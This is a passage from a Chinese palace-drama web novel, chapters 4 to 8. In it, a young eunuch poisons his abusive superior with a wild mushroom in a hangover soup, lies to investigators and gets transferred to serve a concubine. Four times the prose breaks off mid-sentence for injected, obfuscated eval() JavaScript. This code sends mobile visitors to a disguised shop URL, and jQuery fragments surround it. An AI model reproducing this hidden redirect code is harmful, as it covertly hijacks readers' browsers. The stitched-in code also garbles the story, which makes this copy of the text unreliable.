大家闷头做事,都看得出彭公公心情不佳,一句多余的话都不敢说,以免平白惹了彭公公不痛快。
宫中的晚膳时间是未时正刻,听容带着酒提前三刻出发,免得去晚了被挑剔。他与严昱祉有过两面之缘,没有对话,时间之短也不足以让他对此人有任何了解,这个时候不出错就是最保险的。
大半天的阳光已经将甬道的雨水晒干了九成,听容走在路上,偌大的皇宫安静肃穆,宫女太监低头走路,即便在无人的地方,规矩依旧是压在宫人头上最大的约束。
直到听容走进皇子所,听到里面说笑着热闹,才意识到安静这门规矩是给他们这些下人准备的,主子不需
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140922|196333||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要。
“御酿局来的?”守门的侍卫看到他腰间的牌子,并未为难,只是例行确认。
“是。奉恭贵妃娘娘之命,给严公子送晚膳喝的酒。”听容如实说。
“严公子住致书堂,你直接送进去吧。”
来到致书堂门口,就见一个穿窄袖圆领袍衫的少年正坐在外面的廊上剥核桃,边剥边往嘴里塞。门口站了个小太监,和少年比起来,小太监就老实多了。
听容说明了来意,原以为少年接了酒他就可以回去了,结果就听那少年道:“那你在这儿稍后,等晚饭送来了,你再把酒送进去吧。”
年少看着肯定不是宫里人,没让他放下酒就走,也说得过去。
屋内聊得热闹,但聊了什么听容听不清,只有笑声传出来足够清晰。
有个不用干活的地方,听容也沉下心来,继续盘算自己的下一步计划。今天他运气不错,没被刁难,可不表示以后每天都能顺利,还是要尽快下手。
“吃核桃吗?”少年单手托起一把核桃仁问听容。
这样放在以前再正常不过的举动,却让听容恍了神,从进了宫,这样的随性就离他远去了,这样随性任意的人他也没再见过了。
“不了,谢谢。”听容轻声拒绝。
少年也不失望,可能是自己吃够了,也可能是马上就吃晚饭了,他把核桃仁用纸包好,装进了随身的小包里。随后又看了看听容,看不出情绪。
没等多久,尚膳房送晚膳的队伍就鱼贯而入。
小太监对要送往隔壁的队伍道:“四皇子今日在致书堂用晚膳,一并送过来吧。”
晚膳摆好,听容才进去送酒。
“葡萄酒?”严昱祉没来到膳桌前,而是坐在一边的椅子上,双腿岔开,像山大王坐在虎皮椅上。
“是。”听容应后,就准备行礼出去了。
严昱祉对四皇子赵恒植道:“姑母说是贡品,我没喝过,四皇子今日陪我长长见识吧。”
赵恒植跃跃欲试:“不瞒你说,我也没喝过。”
去年四皇子还没满十七,等他能喝酒了,进贡的葡萄酒早就喝完了。他的母妃当时并没分到葡萄酒,自然不可能特地留给他。
严昱祉抬眼看向听容,从听容进门,他的表情就没有半点意外:“你留下来伺候酒吧。”
听容眨了眨眼睛,想说自己只是御酿局的奴才,没资格伺候酒水。
不过赵恒植先一步开口,打断了他欲要说出口的话,心直口快地说:“御酿局出息了,这样好看的人居然被他们要去了。”
“好看的人斟酒才更有滋味。”说着,严昱祉就邀请赵恒植入座。
“原来你喜欢好看的。”
“军营里都是五大三粗的,难得看到着精致的,还是宫里养人。”
赵恒植立刻道:“这是宫里,你说话可得注意些。万一被人听去,说你不端正,容易惹麻烦。”
严昱祉不甚在一意地笑:“多谢四皇子提醒,我在边地散漫惯了,的确一时半会儿改不了。”
“无妨,在咱们皇子所,还没那么多规矩。”
听容见没人想抢他的活儿,两个人也不用别人布菜,聊得热络,无奈之下只好开了坛子给两人倒上,想着晚点回去也好,动手更方便。
5. 第5章
伺候酒水的活不难,严昱祉没为难他,只是眼睛不时从他身上扫过,就算听容不抬头,也能感觉到。期间大皇子过来小坐了片刻,喝了杯葡萄酒,说了些让严昱祉安心在这里住的话,就离开了。
等一小坛葡萄酒喝完,严昱祉就让听容下去了。
出了致书堂的门,听容才稍稍松了口气。明明没有任何需要紧张的事,可他就是觉得很累。
刚要下台阶,就见刚才剥核桃的少年站在连廊转角向他招手。
听容左右看了看,确定是在叫他,才走了过去。
“给你留了饭,你吃了再回去。”少年指了指后头的值房,让他去吃饭。
“多谢你,但不必麻烦了,御酿局应该给我留饭了。”以小青子的细心,应该会给他留饭。
“等你回去饭都冷了,还是在这儿吃吧。”说着,少年就推着他往值房走。
别看少年个子不高,可手劲儿是真大。晚风吹过,凉意不留情面地吹透了听容的衣服,一顿热乎饭立刻成了当下不二之选。
不知道是皇子所待遇好,还是严昱祉对自己人照顾,下人的饭菜特别好,肉很多,做法毫不含糊,可以说色香味都有了。
不到一盏茶的工夫,听容就放下了筷子:“我吃好了,谢谢。”
“吃这么少?”少年疑惑地看他,“这又没有别人,你不用拘谨,吃饱再走。”
“我吃饱了。”听容真的很饱,而且是吃了肉的饱。
少年又看了他一会儿,确定他不像说谎的样子,才说:“难怪你这么瘦,吃得太少了,这样哪有力气干活?”
他的语气太自然,没有半分做作或者没话找话的意思,让听容心下松快:“回去洗漱一下就睡了,再吃就积食了。”
“哦。还没问你名字呢。我叫小禾,今年十六了。”小禾认认真真介绍着自己,有种没长大的单纯,似乎只是看听容顺眼,想交朋友,没有地位上的考量。
“我叫听容,十七。”听容这个名字他现在已经听习惯了,也自称习惯了,不大会想到本名。
小禾一笑:“下次你再来送酒的话,我再给你留饭。”
这样的善意让听容不禁生起了防备心,一个公子身边的侍从,如果没有所图,何必对他一个奴才抱以善意?可他从小禾的脸上又看不出什么,好像小禾本身就是个善良的人。
“小禾!”外面传来严昱祉的声音。
“来啦!”小禾应着就往外跑,还不忘回头对听容说了句“下次见”。
等听容离开时,就看到小禾和严昱祉站在致书堂门口,小禾手里多了一盘点心。听容记得这盘点心从送过来就被单独搁置在小桌上没人动,看来是一早就准备给小禾的。
听容想,原来不是每一个做下人的日子都过得惨,得看跟着什么样的主子。不过他想这些还为时过早,得先解决了彭公公他才能获得更多机会。
回到御酿局,今日没能酿酒,大家都比较轻松,彭公公已经喝上了,比平日早些。
“吃过饭了吗?”小青子问着,将篮子里的两坛葡萄酒放到酒库门前的桌上。
“吃过了。”听容答后,指了指两坛子酒问:“这要送吗?”
“不用,晚点循才人宫里的太监会来取,估计得消夜时了。”
晚膳后到就寝前,如果主子饿了,还可加一顿消夜,也称酒膳。
没有旁的事,听容就准备回房等待休息了。
还没走出两步,就见彭公公端着酒杯出来了,看到听容,嘴角一挑,眼睛眯了起来:“听容回来了?过、过来给本公公倒酒。别以为给严公子送了趟酒就了不得了,宫里这、这么大,人这么多,不过是芳眉指了你去,你别真以为能得主子的眼。”
听容短暂获得的轻松立刻消失殆尽,即便他回来的路上心里多少有过犹豫,此时也不纠结了。
“青公公,您让人给彭公公煮碗醒酒汤吧,别耽误了彭公公明天的差事。”听容对小青子说。
小青子点点头,他知道听容不可能现在转头就跑,只能提醒他:“实在不行你就喊,我想办法找借口进去。”
听容不认为小青子能帮上他,可有这句话总比被冷眼旁观强。
进了彭公公的屋子,壶里的酒已经下了大半,菜倒是没怎么动。
听容软下态度,哄着彭公公继续吃喝。
见他态度有变,彭公公一下就开心了:“出去了一趟倒是懂事了,是不是发现主子不好伺候,还是留在御酿局最保险?”
他之前担心听容被人要走,现下看来,是他想多了。想来也是,严昱祉对外身份再好看,放在宫里也是不够看的,现在是被人捧着,日子长了还不知道什么样。姓严的但凡能看清局势,也不会跟他们这些“地头蛇”过不去。
“和别处比,御酿局的确好些。”听容又给彭公公满上一杯,忍着恶心说好话,“今天小的自己去尚膳房取东西,一路上总怕不小心犯了规矩。公公在宫里多年,不知愿不愿意跟小的说说宫里的事,也好让小的长长见识,以后出去办差能够心中有数。”
“嘿嘿,既然你这么乖,那本公公就跟你说一说……”
在村里的时候,像彭公公这个年纪的人,如果小辈愿意听他们讲讲自己年轻时的往事,无论是真实的还是吹牛,他们都很乐意讲。而对那些喝了酒就不着四六的人,轻声细语地哄着他们回家,别在外面讨人嫌,往往比呵斥更有用。
为了自己的计划,听容这两个办法都用上了,没想到还真管用。彭公公平时每天只喝一壶,今天被哄得硬是喝了两壶,而且越说越兴奋,只是话已经没有逻辑了。
“公公稍坐,小的给您端醒酒汤去。”见时辰差不多了,听容找了个借口离开。
“别走啊,再给我倒上,我跟你说,我年轻的时候……”
听容来到小厨房,小炉上果然热着醒酒汤,但并没有旁人在。
听容倒了一碗,随后将藏在身上已经掰碎的毒蘑菇放进汤里,并用勺子搅了几下,端了出去。
乡下人会识蘑菇是必备的技能之一,每年春秋都会上山去采,哪怕采不多也是一顿口粮。知道无毒的,肯定也知道有毒的。今早听洒扫的太监说完下雨宫花园不好扫时,他就想到了这个时节雨后会有蘑菇的情况。宫花园那么大,总有机会找到蘑菇。
他运气不错,宫花园的确有,而且还不少。而他拔走的这朵他认识,之前村里有个婶子跟他一起上山,就采了一朵这种蘑菇。他当时还提醒过婶子这种蘑菇他不认识,可能有毒。婶子说好看的才有毒,这蘑菇灰扑扑的肯定没事。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140923|196333||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
结果当晚就眼见幻像,冲出家门满村乱跑。
听容想着如果彭公公犯的事只是上头的太监处置,以宫中的关系网,估计会大事化小,达不到他的目的。所以他想用这个蘑菇,让彭公公在各宫宫门落锁后跑出去冲撞门禁,这样彭公公就归禁军处处置,不会留情面。
回到彭公公房间,哄着迷糊的彭公公把醒酒汤喝了,估摸着离彭公公发狂还得至少半个时辰,听容借机把尾收干净,这个时间没人干活,值夜的还没上夜,一切都很顺利。
洗了碗出来,听容盘算着可能有的疏漏,一位掌事宫女就带着一个小宫女走了进来。
外面没别人,听容只好迎过去:“给姐姐问安。”
掌事宫女二十出头,笑盈盈地说:“我是循才人宫里的,来取葡萄酒。”
“都给您备好了,小的这就叫青公公来登记。”像这种御赐的且有定数的东西,各宫来取时是要记档签字的,否则短了谁的说不清楚,容易引火上身。
掌事宫女懂这些规矩,就在院中等着,并不着急。
“青公公,循才人宫里的掌事宫女来了。”听容推开房门道。
小青子放下茶杯,拿起记档本:“不是说差太监来取吗?怎么掌事宫女来了?”
“我也不……”
“啊————”
前头院里传来的尖叫声吓了两个人一跳,听容惊觉不好,赶紧往前跑。
“哈哈哈,美人,你从了本公公,本公公让你吃香喝辣。”
“彭公公,你干什么,快放开,放开!”
“小贱人,少管嫌事!信不信本公公杀了你!”说着,彭公公就扇了小宫女一巴掌。
小宫女顾不得疼,还是拉扯着彭公公,让他放开被抱住的掌事宫女。
掌事宫女一边挣扎喊人,一边呵斥彭公公,让他松手。
彭公公不但没松手,还要去撕扯掌事宫女的衣服。听容跑回来看到的就是这一幕。
女子的清白当前,听容完全没有多想,立刻冲过去拉住彭公公,试图让他松手。结果彭公公一脚踢到了听容膝盖上,听容吃痛,单膝跪地,但还是用力拉扯着彭公公。
小青子也赶过来了,见状赶忙过来帮忙,而同他一起跑来的小太监们迫于彭公公平日的淫威,反而僵在那里不敢动手了。
小青子也不知道彭公公怎么力气那么大,他和听容两个人才勉强把彭公公拉开,但彭公公一把甩开了听容的手,又撞向小青子,小青子没控制住人,彭公公再次扑上去抱住了掌事宫女。
小青子冲呆站在那里的小太监们喊:“别愣着,快来帮忙啊!”
小太监们你看看我,我看看你,依旧畏缩。
这时巡守的侍卫正好走到御酿局,闻声冲了进来。
“什么事?”
“怎么回事?”
小宫女像见到了救星,哭道:“侍卫大哥,这太监疯了,快把他押住,我们要请皇上做主!”
听容膝盖疼,胳膊也疼,但脑子却十分冷静,他应该是估计错了蘑菇起效的时间,之前婶子吃的是煮熟的,可能起效慢,而他给彭公公喂的是生的。
不管怎么样,事以至此,就算没按他想的方式拿下彭公公,也不妨碍他借机再推彭公公一把,反正结果一致就行。
6. 第6章
出了这样的事,本应由皇后娘娘处理。但皇上今晚在循才人宫里,掌事宫女来取酒,也是皇上和循才人要用,自然就交由皇上处置了。
彭公公已经被压走了,听容趁着人还没来,局里正乱着的时候,悄悄顺了放在库门口的葡萄酒,摆到了彭公公桌上。随后若无其事地跟小太监们站在了一起。
小太监们个个噤若寒蝉,先前他们不赶上前帮忙,现在彭公公被带走,他们又怕自己被连累受责罚。
不到两刻,皇上身边的大内总管太监应顺公公就带着人来了。
如果说之前见到的廉公公像鹰一样,那这位应顺公公更像农家养的大橘猫,胖乎乎的憨态可掬,只不过这会儿脸上没有丝毫笑意。
跟着一起来的还有被彭公公抱住的那位掌事宫女。
“芷月姑娘已经将事情禀明皇上,现在你们给我说说,彭公公到底怎么回事?”应顺来回踱步,拂尘搭在臂弯里。
“回顺公公,我们都不在院里,是听容伺候的彭公公。”立刻有想撇清关系的小太监抢着回答。
随后又有几人应和。
应顺扫了一眼众人:“谁是听容啊?”
听容没想骂那几个急于撇清的,在这个宫里没人想摊上事。
于是他上前一步:“小的听容,见过应公公。”
芷月也跟着上前一步,说:“应公公,正是这位小公公最先跑过来帮忙的,还有那位公公。”说着,她又指了指小青子。
应顺点点头,态度未变:“你说说吧,怎么回事?”
听容:“今日御酿局没有什么活,彭公公的酒就喝得比平日早一些。小的见彭公公喝得有些醉了,就给他端了醒酒汤,他喝完后小的去洗碗出来,芷月姐姐就到了。小的去找记档的青公公,就听到前院喊了起来。”
他的话点到这儿就足够了,说多了反而容易让人认为他对彭公公多有不满,在这儿添油加醋。
应顺皱眉:“什么叫‘喝得比平日早些’,他天天如此?”
应顺知道手头有些权的太监都有自己的靠山或帮衬,只要不出事,他不大会管。他自己也是太监,知道宫中不易,大家也不过是想好好活着,以后无儿无女的,离宫了能相互有个照应。可事情闹起来就是两码事了,如果不处理妥当,就是他这个大内总管担责了。
“小的不清楚,小的刚来三天,至少这三天彭公公是天天醉酒的。”听容实活实说,没给彭公公扣帽子。
“目无宫规!”应顺脸色又难看了几分,吩咐跟来的小太监:“去彭公公屋里看看,他平时都吃喝些什么?!”
没一会儿,小太监们就直接把彭公公的桌子抬出来了。别人或许不清楚,可应顺一眼就看出彭公公用的酒具明显是僭越的,只这一点,别的就都不用提了。但他很快又注意到了葡萄酒的坛子。
“这是葡萄酒?”应顺一指,脸沉得更厉害了,“怎么会在他桌上?!”
平时太监们疏通关系,到御酿房弄些自酿的米酒或者外头采买的散酒自己喝或者往上孝敬,就算应顺知道也不会计较。但贡品可不一样!
听容道:“循才人那边要葡萄酒,御酿局就给备了两坛等人来取。彭公公喝完了酒壶里的,说不够味,要尝尝今日送来的贡品,小的不敢给他拿,他就自己转悠出来,正好看到库门口的两坛,就拿走了一坛。小的怕彭公公真把酒开了,所以赶紧给他端了醒酒汤。”
听容编着谎,当时院里没人,没人能证明彭公公没出来拿酒。再者,彭公公平时应该没少干僭越的事,局里的太监们心里有数,便不容易怀疑这番说辞。
“混账东西!”应顺怒道:“偷拿贡品,行事僭越,欺辱宫女,藐视宫规。去,回禀皇上,由皇上处置!”
“是!”跟来的小太监立刻回去禀报。
应顺又看了看众人:“姓彭的日日醉酒,能管好御酿局的事?”
听容没给旁人机会,先一步答:“小的来这几日,见局中一直是由青公公管着的。”
小青子这才上前行礼,没抢功,只是说彭公公有了些年纪,所以事情都交给了下面人做。
可这些话听在比彭公公还大好几岁的应顺耳朵里,彭公公就更是尸位素餐了。随后彭公公又问了小青子的年纪,籍贯,进宫几年,以及都在哪些地方当过差。
小青子一一答了。得知他一直在御酿局当差,对局内的事再熟悉不过,表情再终于缓和了几分:“既如此,以你的资历,管事之职倒也当得。本公公会回了皇上,明儿你去司职处登记吧,以后御酿局的事就由你管了。”
“小的多谢应公公!”小青子立刻跪下行大礼。
待应公公离开,其他小太监凑过来恭喜小青子。小青子倒是看了听容一眼,听容只是冲他笑了笑。
他帮小青子说了话,现在小青子借机升职了,就等于在这件事上,他把小青子绑到了自己这条船上。就算小青子事后复盘,觉察出有不妥的地方,也不会追究。
这一晚,听容睡得很踏实。
第二天晴空万里,风都比前几日暖和,枯枝都冒出了绿芽,喜鹊站在屋顶,欣赏着御酿局里的热闹。
小青子升为管事太监,依旧亲力亲为带着大伙一起酿酒,局里的气氛也松快了许多,至少每个人脸上都能见笑意了。
晚些时候,彭公公的处置下来了,皇上判了杖毙。听到这个消息,小青子在院子里站了许久,静静地看着天空,仿佛是在告慰逝去的好友。
听容的情绪没有太多波澜,彭公公一命抵两命,还是便宜他了。
晚上,泰宣帝翻了恭贵妃的牌子。
恭贵妃身子还未大好,不适合侍寝,但泰宣帝想见她,跟她说说话,就这么待在一起,也无不可。
泰宣帝拉着恭贵妃的手到榻前坐下,跟她说起了御酿局的事,又道:“不知是皇后年龄大了,管理宫中诸事力不从心,还是宫中包庇之事众多,不翻出大浪来察觉不到,居然让一个奴才胆大至此,实在是让朕忧心。”
即便卸去妆饰,恭贵妃依旧美貌,甚至比满头珠翠更添一份纯净的美。
“皇上多虑了,皇后娘娘管理后宫这些年一直是井井有条,无有不妥。那太监所为应该是他个人品性不佳,牵扯不到其他的。”恭贵妃劝着,无论这话她自己相信与否,他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140924|196333||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都不可能在皇上面前说皇后的不是。
“希望如此。”泰宣帝叹了口气,认真地看起了恭贵妃的脸,“这些年你的容貌越发漂亮了,让朕想起了你刚进宫的时候,那般绝色,睥睨后宫。十数年过去,放眼后宫,依旧只有你能担得起‘绝色’二字。”
恭贵妃掩唇笑道:“臣妾都这般年纪了,哪比得上年华正茂的妹妹们?话说回来,这些年您心疼臣妾,待臣妾格外好,臣妾没什么可操心的,不用多思多虑,岁月自然不挂脸了。”
这些话有多少奉承,多少真心,只有恭贵妃心里清楚。
泰宣帝舒心地笑说:“你们严家人长得都好,且看昱祉就知道了。他若参加科举,朕指定给他个探花当。”
“就他还科举?嫂嫂来信提到昱祉,总说他不学无术,好歹是把字认全了,别的家里都不强求了。”恭贵妃说。
“他年纪还轻,以后如何还未可知。”泰宣帝停顿片刻,又说,“不过朕听说昨日晚膳时,他留了个好看的小太监给他伺候酒。”
恭贵妃立刻起身,诚惶诚恐地行礼:“皇上恕罪,昱祉实在不懂规矩,是臣妾没有好好教导,让他肆意妄为。以后一定严加管教,绝不让他再生出这样的事来。”
泰宣帝立刻摆摆手,亲自将恭贵妃扶起来:“朕不过一说,没别的意思。他性子洒脱,想一出做一出。朕只担心没教好他,你哥哥更要操心了。”
恭贵妃重新坐回榻上:“宫里的师傅都是最好的,他要是学不出个样来,只能说他心性不稳,没这个造化。”
她得让皇上觉得严昱祉是个没有威胁,又难成器的,才能让他有机会平安回南疆去。
*
御酿局的日子过得顺遂,听容这几日心情都不错。蒸米酿酒的任务都完成了,之后就是过滤和封坛的活儿,局里可以歇一歇了。
小青子接管御酿局是应公公安排的,彭公公又是皇上判的,就算先前彭公公那一派的关系也不敢多说半个字,更不会过来为难,倒是想跟小青子攀好关系的人不少。
早饭后,听容跟其他小太监一起扫院子,还没扫一半,司职处就来人了。
“哪个是听容啊?”来人问道。
听容一愣,没有立刻反应。小青子作为掌事,先上前问:“何事?”
对着管事太监,来人很给面子:“循才人宫里缺个太监,已经回了皇后娘娘,指了听容过去伺候。”
听容怎么都没想到自己会被要走,不过也不是无迹可寻,毕竟他帮过芷月。去嫔妃宫里伺候肯定没有在御酿局轻松,不过待遇是更好的。
小青子也明白其中的利弊,若是其他局来调人,他作为管事太监,可以找理由把听容留下。但嫔妃宫里要人,他就管不了了。而对听容来说,这算是升职。
听容知道自己没得选,便上前一步行礼道:“奴才遵命。”
小青子对来人道:“不劳几位送他了,等他收拾好东西,我亲自送他过去。”
明显是升职的事,司职处不会为难,说了句让他们抓紧时间,就离开了。
听容和小青子互看了一眼,一时竟不知道该说什么。
7. 第7章
小青子趁着听容收拾包裹时,把自己对后宫妃嫔的了解都跟他说了。
小青子没在嫔妃宫中伺候过,知道的有限,只能提醒他当心,遇事要是无人商量,可以来找他。
正午十分,听容背上自己单薄的包裹,赶往长宁宫。
在路过春萱宫时,他想起自己第一次看到小太监被拖走处置,就是从春萱宫出来的,想来多半是在嫔妃宫中伺候的。如此看来,看似不错的活儿也有不易之处。
没敢多看,听容加快了脚步,随后在路过繁秀宫时,恰好遇到严昱祉从里面出来。
严昱祉不是皇子,也没有爵位,通常宫人见到他只要停下来待他先走就行,不必行礼。可听容是正面遇上了,对方又显然认出了他,于是他还是给严昱祉行礼问了安。
“你这是要去哪儿?”严昱祉跟他说话的语气倒是把他当熟人了。
“小的奉命,调去循才人那里伺候了。”跟严昱祉打马虎眼没意义,听容就如实说了。
严昱祉发出一声意味不明的轻笑:“御酿局的事我听说了,看来你这是升迁了,得恭喜你才是。”
“谢公子。”
严昱祉看了看他,又道:“对了,先前让你给我伺候酒,理应打赏你,我倒把这事忘了。”
说着,严昱祉掏出几块碎银子递给他。
“公子严重了,小的实不敢受。”这种小事,他没理由收严昱祉的银子。再者,严昱祉身份特殊,他与严昱祉扯上关系不是明智之举。
严昱祉拉起他的手直接塞过去,力气之大让听容完全没有抽手的余地。而严昱祉干脆利落的动作也没有让听容感觉到任何不适,就只是打赏而已。
“去嫔妃宫里伺候,可能会有要使银子的地方。”
听容心里一动,似乎严昱祉硬要补给他的打赏实则是为他进循才人处伺候铺了几步平整的路。
没等他道谢,严昱祉就已经走远了。
听容看着手里的碎银子,对于现在身无分文的他来讲,这些碎银子比银元宝更实用。
“怎么来得这么晚?司职处不是早就去调派了吗?”听容一进门,芷月第一个看到他,并迎了过来。
“局中管事的公公提点了一些规矩,来得晚了些。”听容还不知道长宁宫具体是什么情况,答话颇为谨慎。
“也好,省得再教你了。”芷月笑得落落大方,“我先带你去下人房安置。主子在午睡,等醒了我再带你去请安。”
“麻烦姐姐了。”听容应道。
安置期间,芷月把长宁宫的情况跟他细说了。长宁宫暂无主位娘娘,妃嫔仅有循才人一位,住在东侧殿。下面伺候的除了循才人带来的陪嫁采莺之外,就是被指来伺候的芷月和两个小宫女了。
“原本主子身边应该有两个太监伺候,结果一个手脚不干净,被赶走了;另一个前些天随主子去去庄贵妃宫里请安,不慎砸了娘娘最喜欢的花瓶,被打断了手丢去做苦役了。”芷月的语气低落下来,不过很快就打起了精神,“你来了是一个人顶两个人的活儿,不过这屋子就给你一人住了。”
听容听得一惊,芷月说的小太监应该就是他遇上的那个。
芷月继续说:“咱们宫里活儿不多,平日勤洒扫,管好库房就行了。”
“明白了。”具体的就得边做边看了。
“芷月姐姐,我把苹果取回来了。”小宫女在门外喊道。
“你先收拾,主子醒了我叫你。”说完,芷月就出去了。
屋内安静下来,听容提着的心也稍稍平静了一些。下人房的采光都不好,但并没有怪味,听容就很满意了。屋子不算小,就他一个人住,倒是很方便。
边收拾东西,听容边想着被处置了的那个太监,先不说砸一个花瓶的严重程度到底如何,就现下的实际情况来看,循才人的位置还是太低了,连自己的下人都保不了,在这样的主子身边,内部可能没有问题,但对外处处都得当心。升了职,涨了月钱是应该高兴,可这多出来的钱也不是白拿的。
循才人醒后,芷月叫了听容去请安。
听容给循才人行了大礼,说了自己的名字、年纪,以及进宫时间。
“起来吧。”循才人说话温和,给人知书达理的感觉,像是书香门第家的小姐,“听芷月说,那日在御酿局,幸得你相助,才没出大事。我这里本不需要太多人伺候,但皇上说一个太监都没有,总归是不方便的。芷月就推荐了你。我用人只要忠心、勤快,若有不好,我绝不留。”
上来先敲打是每个主子都会做的事,为的是提醒下面的人不要偷懒,更不要吃里扒外。至于底细,肯定都是提前查过的。像听容这样刚进宫的,主子反而愿意用。
“是,奴才定当尽心伺候。”听容道。
“那就好。”循贵人满意地点点头,又仔细看了看听容,笑说,“芷月倒没跟我说你是这般好样貌,我行事向来信奉低调,带你出门可低调不起来了。”
采莺从旁道:“主子,奴婢也没见过这般好看的小太监。”
采莺作为陪嫁丫鬟,穿得比平常宫女要精致些。一对石榴耳环随着她转头轻轻晃动,鼻梁上的小痣不仅没影响容貌,还成了记忆点。
芷月也跟着笑起来:“奴婢只觉得他拎得清轻重,倒没太留意长相。”
循才人:“也好,长得好看让人看着舒心,气都能消大半。”
循才人和两位宫女的夸赞没有别的意味,听容听着也没觉得不舒服,反而觉得主仆三人聊起来气氛亲近,听着舒心。
“主子,您的坐胎药煎好了。”小宫女端着药进来。
芷月上前接了一把,帮着放到循才人手边的小桌上。
药晾得刚好入口,循才人端着碗兀自挣扎了半天,才一口气将药喝了个干净。
“主子,吃口苹果压压吧,这苹果是刚从果局拿回来的。”芷月插了一块去皮切好的,递给她。
循才人赶紧吃了,随后脸就皱到了一起:“太酸了。”
采莺赶紧拿来痰盂让循才人吐掉。
循才人吐完后用茶水压了压,表情才缓过来。
“奴婢这就去找果局,怎么拿这些酸的给咱们?”小宫女不高兴了,就算主子没说什么,可自己拿回来的东西不合主子口味,就是她办差不力了。
“果局应该不敢糊弄我,多半这批果子都这样。”循才人想得明白,她现在颇受宠爱,皇上不时会在她这儿用膳或留宿,宫里的人最会看恩宠的,不敢挑不好的给她。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140925|196333||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“这坐胎药难喝得很,这些日子又没有甜味的果脯给您压药味,水果也不好,您喝这药真是遭罪了。”采莺心疼循才人。
“没办法,谁也不敢保证自己恩宠常在,趁我现在恩宠正盛,若能有个孩子,以后的日子就有盼头了。”循才人表情多了些分怅然。
“可没有可心的东西压一压,总影响您用膳的胃口。”采莺继续操心。
循才人笑说:“明天再去果局寻些其他的吧。”
听了半天的听容开口道:“主子是喜欢甜的?”
循才人点头。
听容浅笑道:“苹果都拿回来了,总不好一直放着。奴才会做果脯,若您不嫌弃,奴才就把那些苹果都给制成甜味的,也能您吃上几日。”
循才人一脸惊喜,露出活泼又灵动的神态:“太好了!宫里的娘娘们多喜欢酸甜,可对我来说太酸了,我总吃不惯。”
“那奴才这就去制了。”听容很会做吃食,以前家里人多,他总吃不上好的,所以学会了把不好吃的制得好吃些,吃得下才能填饱肚子,也才能活下去。
刚到长宁宫就主动揽事做,并不符合听容的行事风格。可宫里人少,循才人让他来又是宫里需要,并不是循才人需要,他如果展现不出价值,容易被边缘化,难以获得信任,日子也不会好过。
再者,他现在已经在这儿了,想继续往上升,并顺利地活下去,最简单的办法就是循才人继续得上升。后妃晋升熬资历和获得皇上宠爱都是办法,可最快的还要属繁育子嗣。
别的听容不懂,也出不了主意。能做的只有让循才人每日顺利服坐胎药,早日有孕。
循才人不是主位,宫里的小厨房不能用,但份例的炭火是不缺的,除了取暖用的,还有用来煎药烹茶的。这些炭无烟少尘,用来烘果脯再好不过了。
次日午后,循才人再喝药时,旁边已经放着一份苹果果脯了,烘得还有些软度,吃着会顺口些。
一口气将药喝完,循才人赶紧拿了块果脯吃进嘴里,顿时浓重的苦味被甜覆盖,轻咬几下,唇齿间挤压出的果香就压住了药味:“味道真好,甜而不腻,还不粘牙。”
“您喜欢就好。”得到了肯定,听容松了口气,“这次制了不少,够您吃几日了。”
循才人笑说:“看书时随手拈一个,肯定是很有滋味的。”
“那晚些奴婢给您备上。”采莺见循才人舒坦了,心下高兴,“您不是说今日想去给恭贵妃娘娘请安吗?现在时辰正好呢。”
循才人点头起身:“恭贵妃身体不好,皇上免了她给皇后娘娘的晨昏定省,我作为宫里的新人,理应常去探望。”
“主子的恭谨想来恭贵妃娘娘会明白的。”采莺取来斗篷给循才人穿上。
听容犹豫了片刻,开口道:“主子,恭贵妃娘娘身体不适,恐怕是汤药不离口。您要不要带些果脯去,就算贵妃娘娘那里不缺,也是您的一份心意。”
“甚好,你去装一盒来。”循才人立刻采纳,她刚吃过,知道味道拿得出手,送一份过去肯定错不了。
“是。”听容应着就出去准备了。他并没有想讨好恭贵妃的意思,只是恭贵妃是严昱祉的姑母,他收了严昱祉的赏钱,且当是回报严昱祉的好心了。
8. 第8章
循才人不在宫里,也没有别的宫人往来,听容拿着扫把打扫院子。没人给他安排活儿,他总不能现在就回去休息了,左右还是找点事做,有点声响,宫殿才不会显得冷清。
